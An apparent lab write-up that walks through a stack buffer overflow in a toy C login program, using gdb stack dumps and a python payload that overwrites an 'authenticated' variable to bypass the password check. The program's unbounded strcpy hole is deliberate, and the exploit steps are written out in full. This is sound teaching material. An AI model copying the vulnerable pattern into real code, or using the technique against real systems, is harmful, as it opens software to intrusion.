Simple over-write
Available: ELF binary, C file
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <openssl/sha.h>#define MAGIC_VALUE 1337//argc is the number of received arguments
int main(int argc, char *argv[]) {
unsigned char correct_hash[20] = {
0x4a, 0xc9, 0xb0, 0x57, 0xf8, 0x02, 0x12, 0x60, 0x6c, 0xea,
0xab, 0xf3, 0xc6, 0x50, 0x5d, 0xaf, 0xed, 0x40, 0xa4, 0x50
};
char password[20];
int authenticated = 0;//password = argv[1];
strcpy(password, argv[1]);//password = SHA1(password);
SHA1(password, strlen((char *)password), password);//password == correct_hash
if(memcmp(password, correct_hash, 20) == 0) {
authenticated = MAGIC_VALUE;
}printf("Authenticated: %d\n", authenticated);
if(authenticated == MAGIC_VALUE) {
printf("CORRECT PASSWORD!\n");
} else {
printf("WRONG PASSWORD!\n");
}
fflush(stdout);
return 0;
}
The program takes a command line argument
*argv[1]
, copies it into
password
, hashes it with SHA1 and compares it with
correct_hash
.
If they are equal,
authenticated
is set to
1337
(serves as a flag) and the application prints a success message.
Goal: We want to set
authenticated
to
1337
.
Finding Vulnerability
We find a buffer overflow vulnerability with an input of exactly 44x
'A'
.
marco@testbed:~/2020/gdb$ ./pwnme AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Authenticated: 1094795585
WRONG PASSWORD!
Segmentation fault (core dumped)
Exploting Vulnerability
We disassemble the code and go through the assembly code.
We see that at instruction
0x0804869e
the program compares
authenticated
(stored at the address
$ebp-0xc
) with the value
0x539
(=
1337
base 10).
0x804869e <main+232>: cmp DWORD PTR [ebp-0xc],0x539
This is where the following instruction is executed:
if(authenticated == MAGIC_VALUE) {
...
We also found calls to library functions that are marked, like
<strcpy@plt>
at
0x8048644
.
We set a breakpoint there (to see the
password
array before it is hashed) and enter 20x
'A'
=
0x41
and look at the stack to see what space it occupies:
Password array starts at
0xffffd614
.
(gdb) x/40wx $esp
0xffffd610: 0xf7dd0000 0x41414141 0x41414141 0x41414141
0xffffd620: 0x41414141 0x41414141 0x57b0c94a 0x601202f8
0xffffd630: 0xf3abea6c 0xaf5d50c6 0x50a440ed 0x00000000
0xffffd640: 0xffffd660 0x00000000 0x00000000 0xf7c10e81
0xffffd650: 0xf7dd0000 0xf7dd0000 0x00000000 0xf7c10e81
0xffffd660: 0x00000002 0xffffd6f4 0xffffd700 0xffffd684
0xffffd670: 0x00000001 0x00000000 0xf7dd0000 0xf7fe575a
0xffffd680: 0xf7ffd000 0x00000000 0xf7dd0000 0x00000000
0xffffd690: 0x00000000 0x918ba4ec 0xec3be2fc 0x00000000
0xffffd6a0: 0x00000000 0x00000000 0x00000002 0x080484a0
The stack looks like this:
unsigned char correct_hash[20] = { ... }; //20 bytes
char password[20]; //20 bytes
int authenticated = 0; //4 bytes
0x000...
| ... |
|---------------| <= esp
| password | <= ebp - 52 (= esp)
| correct_hash | <= ebp - 20
| authenticated | <= ebp - 12
| ... |
|---------------| <= ebp
| sfp (old ebp) |
| ret adr |
|---------------|
| argv[] |
| ... |
0xFFF...
We calculate the size of our payload:
authenticated
is at
$ebp-0xc
(=
ebp - 12
) and
password
starts at
0xffffd614
.
We know
authenticated
can be overwritten from
password
with a padding of the size:
(gdb) ($ebp-0xc)-(0xffffd614)
40
Due to little endianness we have to store
0x539
(=
1337
) as
0x39 0x05
.
marco@testbed:~/2020/gdb$ ./pwnme $(python3 -c 'print("A"*40 + "\x39\x05")')
Authenticated: 1337
CORRECT PASSWORD!
Then our memory looks like this:
(gdb) x/40wx $esp
0xffffd610: 0xf7dd0000 0x41414141 0x41414141 0x41414141
0xffffd620: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd630: 0x41414141 0x41414141 0x41414141 0x00003905
0xffffd640: 0xffffd660 0x00000000 0x00000000 0xf7c10e81
0xffffd650: 0xf7dd0000 0xf7dd0000 0x00000000 0xf7c10e81
0xffffd660: 0x00000002 0xffffd6f4 0xffffd700 0xffffd684
0xffffd670: 0x00000001 0x00000000 0xf7dd0000 0xf7fe575a
0xffffd680: 0xf7ffd000 0x00000000 0xf7dd0000 0x00000000
0xffffd690: 0x00000000 0x918ba4ec 0xec3be2fc 0x00000000
0xffffd6a0: 0x00000000 0x00000000 0x00000002 0x080484a0